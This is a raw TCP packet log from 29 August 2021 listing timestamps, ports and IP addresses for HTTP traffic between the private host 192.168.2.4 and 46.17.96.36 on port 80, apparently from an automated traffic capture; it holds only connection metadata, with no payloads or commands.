Aug 29, 2021 22:28:19.792138100 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.792289019 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.816375971 CEST	49954	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.825596094 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.825614929 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.825678110 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.825691938 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.825743914 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.825747013 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.825783968 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.825985909 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.826024055 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.826069117 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.826097012 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.826119900 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.826158047 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.826390982 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.826435089 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.849860907 CEST	80	49954	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.849989891 CEST	49954	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.858357906 CEST	49954	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.859456062 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.859574080 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.859586000 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.859603882 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.859668016 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.859668016 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.859692097 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.859697104 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.859724045 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.859745979 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.859785080 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.859807968 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.859855890 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.859882116 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.860225916 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.860285997 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.890902042 CEST	80	49954	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.893218040 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.893271923 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.893310070 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.893321037 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.893388987 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.893414974 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.893424988 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.893543005 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.893589973 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.893627882 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.893671036 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.893846989 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.893874884 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.893898964 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.893924952 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.894036055 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.894177914 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.894385099 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.894413948 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.894490004 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.927336931 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.927402020 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.927428961 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.927474976 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.927512884 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.927540064 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.927635908 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.927845001 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.927882910 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.928018093 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.938060045 CEST	80	49954	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.938234091 CEST	49954	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:19.965218067 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:19.965363979 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.085524082 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.085886955 CEST	49954	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.087414026 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.118549109 CEST	80	49954	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.118772984 CEST	49954	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.119795084 CEST	80	49953	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.119868040 CEST	49953	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.120031118 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.120129108 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.192167997 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.224977970 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.271400928 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.271502018 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.332298994 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.332416058 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.332640886 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.332849979 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.368837118 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.368861914 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.368875980 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.368941069 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.368993998 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.369034052 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.369064093 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.369117975 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.369460106 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.369476080 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.369518042 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.369548082 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.405355930 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.405380964 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.405394077 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.405407906 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.405419111 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.405440092 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.405579090 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.405600071 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.405643940 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.405651093 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.405666113 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.405719995 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.442631006 CEST	49956	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.442806959 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.442828894 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.442842007 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.442857027 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.442923069 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.442951918 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.442964077 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.442969084 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.442985058 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.442997932 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.443001032 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.443007946 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.443245888 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.476191044 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.476242065 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.476418972 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.477458000 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.477495909 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.478220940 CEST	80	49956	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.478360891 CEST	49956	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.494779110 CEST	49956	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.516369104 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.516567945 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.532426119 CEST	80	49956	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.574024916 CEST	80	49956	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.574179888 CEST	49956	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.871977091 CEST	49956	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.872401953 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.874011993 CEST	49957	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.876697063 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.904979944 CEST	80	49955	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.905085087 CEST	49955	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.906104088 CEST	80	49957	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.906246901 CEST	49957	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.907093048 CEST	80	49956	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.907180071 CEST	49956	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.908024073 CEST	49957	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.908723116 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.908827066 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.909310102 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.909427881 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.909615040 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.909750938 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.940318108 CEST	80	49957	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.941272974 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.941303015 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.941545963 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.941569090 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.941641092 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.941668034 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.941728115 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.941745996 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.941845894 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.941993952 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.942059040 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.942138910 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.974042892 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.974104881 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.974144936 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.974179029 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.974196911 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.974214077 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.974262953 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.974280119 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.974332094 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.974351883 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.974404097 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.974519014 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.974637985 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.974730968 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:20.982048035 CEST	80	49957	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:20.982156992 CEST	49957	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.006839991 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.006892920 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.006918907 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.006961107 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.006997108 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.007024050 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.007050991 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.007055998 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.007086039 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.007097006 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.007108927 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.007117033 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.007261992 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.007342100 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.007580042 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.007734060 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.007889032 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.008027077 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.008213043 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.008368969 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.008568048 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.039522886 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.039561033 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.039587021 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.039613008 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.039637089 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.039766073 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.039798021 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.039824963 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.040044069 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.040215015 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.078622103 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.078752041 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.129983902 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.130472898 CEST	49957	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.131946087 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.162681103 CEST	80	49958	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.162761927 CEST	80	49957	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.162842035 CEST	49957	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.162902117 CEST	49958	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.164654970 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.164800882 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.206777096 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.239017963 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.282018900 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.282147884 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.388977051 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.389081955 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.389246941 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.389328003 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.421952009 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.421968937 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.421978951 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.422152996 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.422194958 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.422256947 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.422352076 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.422363043 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.422406912 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.422439098 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.454508066 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.454667091 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.454736948 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.454756021 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.454802990 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.454811096 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.454842091 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.454868078 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.454869986 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.454941034 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.454950094 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.454999924 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.455039978 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.455071926 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.463512897 CEST	49960	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.487087965 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.487128973 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.487215996 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.487287045 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.487349033 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.487422943 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.487592936 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.487608910 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.487962961 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.487981081 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.488040924 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.488182068 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.488692045 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.488729954 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.489052057 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.489068985 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.489082098 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.489362001 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.489375114 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.489475965 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.489572048 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.489631891 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.489829063 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.489962101 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.490175009 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.490309954 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.490324974 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.490510941 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.496963978 CEST	80	49960	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.497075081 CEST	49960	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.508351088 CEST	49960	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.519491911 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.519696951 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.519722939 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.519741058 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.519758940 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.540997028 CEST	80	49960	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.557008028 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.557151079 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.585319042 CEST	80	49960	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.585427999 CEST	49960	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.801898003 CEST	49960	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.802125931 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.803204060 CEST	49961	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.835511923 CEST	80	49959	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.835573912 CEST	80	49960	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.835629940 CEST	49959	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.835673094 CEST	49960	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.835871935 CEST	80	49961	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.836081028 CEST	49961	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.845362902 CEST	49961	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.848617077 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.878115892 CEST	80	49961	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.884087086 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.884229898 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.885750055 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.885847092 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.886008978 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.886147976 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.923505068 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.923554897 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.923644066 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.923671961 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.923697948 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.923794985 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.923852921 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.923960924 CEST	80	49961	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.924062967 CEST	49961	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.924336910 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.924376011 CEST	80	49962	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:21.924537897 CEST	49962	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:21.924590111 CEST	49962	80	192.168.2.4	46.17.96.36
